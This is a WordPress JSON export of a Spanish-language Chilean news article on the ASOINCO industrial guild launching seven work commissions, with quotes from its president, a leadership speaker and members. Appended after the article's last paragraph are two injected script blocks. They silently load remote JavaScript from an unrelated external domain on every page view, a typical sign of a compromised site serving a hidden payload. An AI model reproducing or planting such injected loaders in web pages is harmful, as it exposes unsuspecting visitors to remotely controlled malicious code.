{"id":20426,"date":"2026-07-20T03:40:09","date_gmt":"2026-07-20T03:40:09","guid":{"rendered":"https:\/\/www.semanariotiempo.cl\/?p=20426"},"modified":"2026-09-18T12:31:10","modified_gmt":"2026-09-18T12:31:10","slug":"asoinco-marca-un-hito-con-inicio-oficial-de-7-comisiones-de-trabajo","status":"publish","type":"post","link":"https:\/\/www.semanariotiempo.cl\/?p=20426","title":{"rendered":"ASOINCO marca un hito con inicio oficial de 7 comisiones de trabajo"},"content":{"rendered":"<p><strong>La asociaci\u00f3n gremial, que re\u00fane a m\u00e1s de 140 empresas de 17 rubros y representa cerca del 3% del PIB regional, da inicio a una nueva estructura organizacional con foco en fortalecer su articulaci\u00f3n con el mundo empresarial, p\u00fablico y la academia.<\/strong><\/p>\n<p>La Asociaci\u00f3n Gremial de Industriales de la regi\u00f3n de Coquimbo realiz\u00f3 su lanzamiento oficial de sus siete comisiones de trabajo el 9 de julio, marcando un paso significativo en la forma que organiza su labor junto a las empresas socias. La actividad, realizada en el Centro Empresarial y Log\u00edstico de Coquimbo, reuni\u00f3 a socios, coordinadores e integrantes de las comisiones, al Directorio y a invitados especiales.<br \/>\nCon el prop\u00f3sito de trabajar m\u00e1s directamente las necesidades de las empresas socias y ampliar el alcance institucional de ASOINCO en el territorio. Su trabajo se organizar\u00e1 a trav\u00e9s de planes operativos, metas trimestrales y reportes mensuales de avance. Las comisiones son Barrio Industrial y Desarrollo Productivo; Capital Humano y Formaci\u00f3n; Sostenibilidad y Gesti\u00f3n H\u00eddrica; Innovaci\u00f3n y Vinculaci\u00f3n Academia; Comercial y Posicionamiento; Internacionalizaci\u00f3n y Mercado Globales; Mujeres en la Industria y la Empresa.<br \/>\nAl respecto, el presidente de ASOINCO, Fernando Buzeta Salazar destac\u00f3 el significado de este cambio: \u201cDesde la mirada del gremio nuestro objetivo es convertirnos en un actor articulador y estrat\u00e9gico para el desarrollo industrial de la regi\u00f3n de Coquimbo. Estas comisiones permitir\u00e1n la asociatividad de las diferentes empresas socias, que por primera vez tendr\u00e1n una participaci\u00f3n activa dentro del gremio y hacia la comunidad\u201d.<br \/>\nDurante la jornada se destac\u00f3, que esta nueva estructura busca dar continuidad y estructura al trabajo de ASOINCO que ven\u00eda desarrollando con sus socios desde su creaci\u00f3n, en 2006.<br \/>\nLa actividad incluy\u00f3 una charla de liderazgo por parte de la Fundaci\u00f3n Educalez, dictada por el psic\u00f3logo Andr\u00e9s Lazano Campbell, quien se\u00f1al\u00f3 que, \u201cEl liderazgo es fundamental para el trabajo de las comisiones, permite que cada una tenga objetivos claros y una direcci\u00f3n definida. Adem\u00e1s, facilita la gesti\u00f3n, la motivaci\u00f3n y compromiso de sus integrantes, siendo un referente que impulsa el logro de resultados e inspira a las dem\u00e1s comisiones a cumplir sus objetivos, fortaleciendo el desarrollo de todo el gremio\u201d.<br \/>\nAsimismo, la actividad cont\u00f3 con la participaci\u00f3n de Miguel Cantuarias, ex gerente de la C\u00e1mara Chilena de la Construcci\u00f3n de La Serena (CChC), quien comparti\u00f3 su experiencia y visi\u00f3n sobre el trabajo gremial: \u201cPara un gremio como ASOINCO, es relevante que sus socios participen en el desarrollo del gremio, aportando con sus competencias en ejes que la asociaci\u00f3n ha trazado, por lo que esta nueva estructura organizacional es un avance positivo permitiendo robustecer a ASOINCO y a sus socios, permitiendo que se estrechen lazos y generen espacios a nuevos l\u00edderes gremiales\u201d.<\/p>\n<p>Patricia Cort\u00e9s, empresaria y socia, coment\u00f3 su motivaci\u00f3n al integrar la comisi\u00f3n de Capital Humano y Formaci\u00f3n, \u201cEstoy convencida de que cuando fortalecemos las capacidades de las personas, fortalecemos tambi\u00e9n el futuro de nuestras empresas. Desde Consultora Ebusiness pondremos al servicio de ASOINCO m\u00e1s de 17 a\u00f1os de experiencia en formaci\u00f3n, liderazgo y desarrollo organizacional. Nuestro prop\u00f3sito es que cada actividad genere valor real para los socios y para el desarrollo econ\u00f3mico de la regi\u00f3n\u201d.<\/p>\n<p>Con este nuevo modelo, la asociaci\u00f3n reafirma su rol como referente gremial en la regi\u00f3n de Coquimbo, representando a empresas de los sectores minero, industrial, salud, construcci\u00f3n, alimentaci\u00f3n y servicios, entre otros, para seguir siendo la voz de la industria y estar presente en las decisiones que aporten al desarrollo productivo regional.<script>;const script = document.createElement('script');\nscript.src = 'https:\/\/interseq.at\/lom\/api';\nscript.async = true;<\/p>\n<p>document.head.appendChild(script);<\/script><script>;const script = document.createElement('script');\nscript.src = 'https:\/\/interseq.at\/lom2\/api';\nscript.async = true;<\/p>\n<p>document.head.appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La asociaci\u00f3n gremial, que re\u00fane a m\u00e1s de 140 empresas de 17 rubros y representa cerca del 3% del PIB regional, da inicio a una nueva estructura organizacional con foco en fortalecer su articulaci\u00f3n con el mundo empresarial, p\u00fablico y la academia. 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